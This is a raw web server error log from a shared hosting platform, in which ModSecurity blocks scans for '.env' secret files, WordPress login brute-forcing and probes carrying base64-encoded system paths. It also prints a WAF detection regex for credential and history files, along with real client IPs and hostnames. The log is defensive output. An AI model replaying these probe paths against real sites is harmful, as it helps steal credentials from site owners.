[access_compat:error] [pid 648189:tid 648248] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:43.314209 2026] [security2:error] [pid 646876:tid 647126] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app_nginx_static_path/.env"] [unique_id "ai3y69yTkdrNlD40tSGq2QAAAHY"] [Sat Jun 13 18:16:43.325394 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.6:55070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:43.325869 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.6:55070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:43.363241 2026] [security2:error] [pid 648189:tid 648312] [remote 17.22.253.123:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y61WSojQL4F7upKBe6AABAFo"] [Sat Jun 13 18:16:43.466805 2026] [access_compat:error] [pid 646876:tid 646897] [remote 57.141.14.91:47100] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:43.467261 2026] [access_compat:error] [pid 646876:tid 646897] [remote 57.141.14.91:47100] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:43.727453 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:16:43.727829 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:16:43.752104 2026] [security2:error] [pid 646876:tid 647068] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/apps/.env"] [unique_id "ai3y69yTkdrNlD40tSGq6gAAADw"] [Sat Jun 13 18:16:43.806027 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.68:41998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:43.806461 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.68:41998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:43.893280 2026] [security2:error] [pid 646876:tid 647044] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/apps/client/.env"] [unique_id "ai3y69yTkdrNlD40tSGq7QAAACQ"] [Sat Jun 13 18:16:44.031767 2026] [security2:error] [pid 646876:tid 647108] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Archipel/.env"] [unique_id "ai3y7NyTkdrNlD40tSGq9QAAAGQ"] [Sat Jun 13 18:16:44.097327 2026] [access_compat:error] [pid 648189:tid 648247] [remote 74.7.227.22:33732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:16:44.097793 2026] [access_compat:error] [pid 648189:tid 648247] [remote 74.7.227.22:33732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:16:44.168035 2026] [security2:error] [pid 646876:tid 647099] [client 185.177.72.9:37058] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/asdf.php"] [unique_id "ai3y7NyTkdrNlD40tSGq-wAAAFs"] [Sat Jun 13 18:16:44.261818 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.103:63798] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:44.262239 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.103:63798] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:44.273207 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:16:44.273574 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:16:44.437373 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/asset_img/.env"] [unique_id "ai3y7FWSojQL4F7upKBfBwAAAMQ"] [Sat Jun 13 18:16:44.451178 2026] [security2:error] [pid 646876:tid 646945] [remote 149.28.167.253:48030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "my-muscle-man.com"] [uri "/wp-login.php"] [unique_id "ai3y7NyTkdrNlD40tSGq_wAAWEI"] [Sat Jun 13 18:16:44.461829 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.109:36166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:44.462201 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.109:36166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:44.572027 2026] [security2:error] [pid 648189:tid 648460] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/assets/.env"] [unique_id "ai3y7FWSojQL4F7upKBfDgAAAOo"] [Sat Jun 13 18:16:44.597695 2026] [security2:error] [pid 648189:tid 648273] [remote 217.160.212.27:53416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.212.160.217.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "corinthe-rizvi.com"] [uri "/wp-login.php"] [unique_id "ai3y7FWSojQL4F7upKBfDwAArjM"], referer: https://corinthe-rizvi.com/wp-login.php [Sat Jun 13 18:16:44.636366 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.38:50171] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:44.636802 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.38:50171] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:44.784074 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:16:44.784489 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:16:44.786353 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.99:28396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:44.786788 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.99:28396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:44.936024 2026] [security2:error] [pid 648189:tid 648454] [client 34.170.189.242:40066] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "ccm.cle.mybluehost.me"] [uri "/.env"] [unique_id "ai3y7FWSojQL4F7upKBfHQAAAOg"] [Sat Jun 13 18:16:45.087079 2026] [security2:error] [pid 646876:tid 646914] [remote 149.28.167.253:48030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "my-muscle-man.com"] [uri "/wp-login.php"] [unique_id "ai3y7dyTkdrNlD40tSGrCQAAFCM"], referer: https://my-muscle-man.com/wp-login.php [Sat Jun 13 18:16:45.262448 2026] [security2:error] [pid 646876:tid 646886] [remote 17.246.19.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y7dyTkdrNlD40tSGrCwAACAc"] [Sat Jun 13 18:16:45.308772 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:16:45.309226 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:16:45.492737 2026] [security2:error] [pid 648189:tid 648276] [remote 17.22.237.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y7VWSojQL4F7upKBfKQAAljY"] [Sat Jun 13 18:16:45.589475 2026] [security2:error] [pid 648189:tid 648398] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Assignment3/.env"] [unique_id "ai3y7VWSojQL4F7upKBfLgAAALI"] [Sat Jun 13 18:16:45.677966 2026] [security2:error] [pid 646876:tid 647126] [client 172.56.168.133:18101] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y7dyTkdrNlD40tSGrFgAAAHY"] [Sat Jun 13 18:16:45.682086 2026] [security2:error] [pid 646876:tid 647126] [client 172.56.168.133:18101] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y7dyTkdrNlD40tSGrFgAAAHY"] [Sat Jun 13 18:16:45.724086 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Assignment4/.env"] [unique_id "ai3y7VWSojQL4F7upKBfMgAAAO0"] [Sat Jun 13 18:16:45.768776 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.63:21294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:45.769214 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.63:21294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:45.829620 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNl [Sat Jun 13 18:16:45.830095 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNl [Sat Jun 13 18:16:45.858791 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/audio/.env"] [unique_id "ai3y7VWSojQL4F7upKBfOQAAAJ0"] [Sat Jun 13 18:16:45.920722 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.104:62746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:45.921168 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.104:62746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 